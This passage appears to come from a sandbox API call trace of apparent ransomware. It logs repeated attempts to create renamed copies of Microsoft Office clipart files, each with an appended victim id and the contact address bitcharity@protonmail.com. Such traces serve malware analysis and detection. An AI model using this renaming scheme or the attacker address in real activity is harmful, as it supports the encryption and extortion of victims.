Office\\root\\CLIPART\\PUB60COR\\SO00656_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00656_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.699] CloseHandle (hObject=0x1158) returned 1 [0261.700] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.701] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00668_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.701] CloseHandle (hObject=0x1158) returned 1 [0261.702] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.702] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00670_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00670_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.703] CloseHandle (hObject=0x1158) returned 1 [0261.704] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.704] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.705] CloseHandle (hObject=0x1158) returned 1 [0261.705] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.706] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00683_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00683_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.706] CloseHandle (hObject=0x1158) returned 1 [0261.707] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.707] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.707] CloseHandle (hObject=0x1158) returned 1 [0261.708] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.708] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.709] CloseHandle (hObject=0x1158) returned 1 [0261.710] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.710] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.710] CloseHandle (hObject=0x1158) returned 1 [0261.711] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.711] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00728_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00728_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.712] CloseHandle (hObject=0x1158) returned 1 [0261.714] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.714] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.715] CloseHandle (hObject=0x1158) returned 1 [0261.717] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.717] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.718] CloseHandle (hObject=0x1158) returned 1 [0261.718] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.719] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.719] CloseHandle (hObject=0x1158) returned 1 [0261.720] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.720] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00736_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00736_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.720] CloseHandle (hObject=0x1158) returned 1 [0261.721] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.721] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.722] CloseHandle (hObject=0x1158) returned 1 [0261.722] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.722] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.723] CloseHandle (hObject=0x1158) returned 1 [0261.724] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.724] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.725] CloseHandle (hObject=0x1158) returned 1 [0261.725] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.726] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.726] CloseHandle (hObject=0x1158) returned 1 [0261.727] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.727] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00834_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00834_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.727] CloseHandle (hObject=0x1158) returned 1 [0261.736] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.736] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.736] CloseHandle (hObject=0x1158) returned 1 [0261.738] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.738] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00910_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00910_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.738] CloseHandle (hObject=0x1158) returned 1 [0261.739] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.739] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00911_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00911_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.739] CloseHandle (hObject=0x1158) returned 1 [0261.741] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.741] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00913_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00913_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.741] CloseHandle (hObject=0x1158) returned 1 [0261.742] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.742] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00914_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00914_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.742] CloseHandle (hObject=0x1158) returned 1 [0261.743] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.743] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00915_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00915_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.744] CloseHandle (hObject=0x1158) returned 1 [0261.746] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.746] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00916_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00916_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.746] CloseHandle (hObject=0x1158) returned 1 [0261.766] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.766] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00917_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00917_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.767] CloseHandle (hObject=0x1158) returned 1 [0261.768] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.768] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00918_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00918_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.768] CloseHandle (hObject=0x1158) returned 1 [0261.769] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.769] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00935_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00935_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.769] CloseHandle (hObject=0x1158) returned 1 [0261.770] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.770] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00938_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00938_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.770] CloseHandle (hObject=0x1158) returned 1 [0261.772] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.772] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00941_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00941_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.772] CloseHandle (hObject=0x1158) returned 1 [0261.773] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.773] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00942_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00942_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.774] CloseHandle (hObject=0x1158) returned 1 [0261.776] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.776] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00943_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00943_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.776] CloseHandle (hObject=0x1158) returned 1 [0261.777] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.778] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01044_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 